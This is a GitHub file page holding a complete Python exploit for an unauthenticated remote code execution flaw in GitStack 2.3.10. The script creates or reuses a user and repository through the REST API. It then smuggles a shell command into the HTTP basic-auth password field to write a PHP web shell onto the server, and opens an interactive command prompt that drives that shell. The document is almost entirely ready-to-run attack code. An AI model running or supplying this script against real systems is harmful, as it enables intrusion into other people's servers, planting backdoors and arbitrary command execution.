-
Notifications
You must be signed in to change notification settings - Fork 0
/
GitStack_Win_Command_Line_exploit.py
executable file
·171 lines (141 loc) · 6.28 KB
/
GitStack_Win_Command_Line_exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
#!/usr/bin/python3
# Exploit: GitStack 2.3.10 Unauthenticated Remote Code Execution
# Date: 18.01.2018
# Software Link: https://gitstack.com/
# Category: remote
#
# 1. Description
#
# $_SERVER['PHP_AUTH_PW'] is directly passed to exec function.
#
# https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html
import sys
import argparse
import requests
from requests.auth import HTTPBasicAuth
def arguments():
parser = argparse.ArgumentParser(description="Create command console on vulnerable GitStack installations")
parser.add_argument("--host", dest="host", required=True, help="Host to send the exploit to.")
parser.add_argument("--port", dest="port", default=-1, help="Port to use. Default 80/443", type=int)
parser.add_argument("--uri", dest="uri", default="/", help="URI where gitstack lives. Default \"/\"")
parser.add_argument("--ssl", dest="ssl", default="False",
help="Use HTTPS? Default False", choices=["True", "False"])
parser.add_argument("--filename", dest="filename", default="exploit.php",
help="Name and path for the exploit php script on the target machine. Default: exploit.php")
parser.add_argument("--filepath", dest="filepath", default="C:/GitStack/gitphp/",
help="Absolute path for the exploit file to end up on. Default: C:/GitStack/gitphp/")
args = parser.parse_args()
args.ssl = (args.ssl.upper() == "TRUE")
if args.port <= 0:
if args.ssl:
args.port = 443
else:
args.port = 80
elif args.port > 65535:
print(f"[-] Invalid port: {args.port}")
sys.exit(-1)
return args
def main():
# 1 - Set up the target for the exploit
# 1.1 - Craft valid URL for command injection so the server doesn't complain
# 1.1.1 - Find or create a user
# 1.1.2 - Find or create a repository
# 1.1.3 - Add user to the repository
# 1.2 - inject PHP script by using a command allowing us to pass commands to the server via request parameter
# 2. - launch a shell that repeatedly sends commands to that php script
args = arguments()
host = args.host
port = args.port
uri = args.uri
ssl = args.ssl
filename = args.filename
filepath = args.filepath
proto = "http://"
if ssl:
proto = "https://"
target = f'{proto}{host}:{port}{uri}'
exploit(target, filename, filepath)
def exploit(target, filename, filepath):
repository = "rce"
username = "rce"
password = "rce"
csrf_token = "token"
user_list = []
print("[+] Get user list")
try:
r = requests.get(f"{target}rest/user/")
user_list = r.json()
user_list.remove('everyone')
print(user_list)
except:
pass
# create or find user we can upload the exploit as
if len(user_list) > 0:
username = user_list[0]
print(f"[+] Found user {username}")
else:
print("[+] Didn't find user we can use, create one.")
print(f"[+] Create user {username}")
r = requests.post(f"{target}rest/user/", data={"username": username, "password": password})
if "User created" not in r.text and "User already exist" not in r.text:
print("[-] Cannot create user")
sys.exit(-1)
# enable web interface
print("[+] Checking if web interface is up.")
r = requests.get(f"{target}rest/settings/general/webinterface/")
if "true" in r.text:
print("[+] Web repository already enabled")
else:
print("[+] Enable web repository")
r = requests.put(f"{target}rest/settings/general/webinterface/", data="{\"enabled\" : \"true\"}")
if "Web interface successfully enabled" not in r.text:
print("[-] Cannot enable web interface")
sys.exit(-1)
# find or create a repository we can use for a valid URI
print("[+] Get repositories list")
r = requests.get(f"{target}rest/repository/")
repository_list = r.json()
print(repository_list)
if len(repository_list) > 0:
repository = repository_list[0]["name"]
print(f"[+] Found repository {repository}")
else:
print("[+] Did not find a repository we can use")
print(f"[+] Create repository {repository}")
r = requests.post(f"{target}rest/repository/", cookies={"csrftoken": csrf_token},
data={"name": repository, "csrfmiddlewaretoken": csrf_token})
if "The repository has been successfully created" not in r.text and "Repository already exist" not in r.text:
print("[-] Cannot create repository")
sys.exit(-1)
# add found/created user to the found/created repository
print("[+] Add user to repository")
r = requests.post(f"{target}rest/repository/{repository}/user/{username}/")
if "added to" not in r.text and "has already" not in r.text:
print("[-] Cannot add user to repository")
sys.exit(-1)
print("[+] Disable access for anyone")
r = requests.delete(f"{target}rest/repository/{repository}/user/everyone/")
if "everyone removed from rce" not in r.text and "not in list" not in r.text:
print("[-] Cannot remove access for anyone")
sys.exit(-1)
print("[+] Create backdoor in PHP")
# default exploit, execute command
# inject command to put this into a file via valid URL we crafted by getting usernames and repositories
payload = "<?php system($_POST['a']); ?>"
print(f"[+] Injecting PHP shell file with name {filename}")
r = requests.get(f"{target}web/index.php?p={repository}.git&a=summary",
auth=HTTPBasicAuth(username, f"p && echo \"{payload}\" > {filepath}/{filename}"))
print(r.text.encode(sys.stdout.encoding, errors="replace"))
print("[+] Starting command prompt")
print("Beware that commands that run their own session will not work.")
print("You can't launch powershell and use it from here.")
print("Only use this as a stager and run commands that terminate!")
print("Type exit to quit.")
while True:
command = input("Command:> ")
if command.upper() == "EXIT":
sys.exit(0)
r = requests.post(f"{target}/web/{filename}", data={"a": command})
print(r.text.encode(sys.stdout.encoding, errors="replace").decode("ascii"))
if __name__ == "__main__":
main()